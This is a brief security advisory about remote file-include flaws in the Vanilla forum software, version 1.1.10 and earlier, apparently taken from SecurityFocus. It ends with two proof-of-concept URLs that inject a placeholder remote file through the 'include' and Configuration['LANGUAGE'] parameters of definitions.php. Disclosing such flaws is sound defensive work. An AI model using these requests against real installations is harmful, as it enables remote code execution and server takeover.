source: https://www.securityfocus.com/bid/38889/info

Vanilla is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.

Vanilla 1.1.10 and prior versions are vulnerable. 

http://www.example.com/PATH/languages/yourlanguage/definitions.php?include= [inj3ct0r]
http://www.example.com/PATH/languages/yourlanguage/definitions.php?Configuration['LANGUAGE']= [inj3ct0r]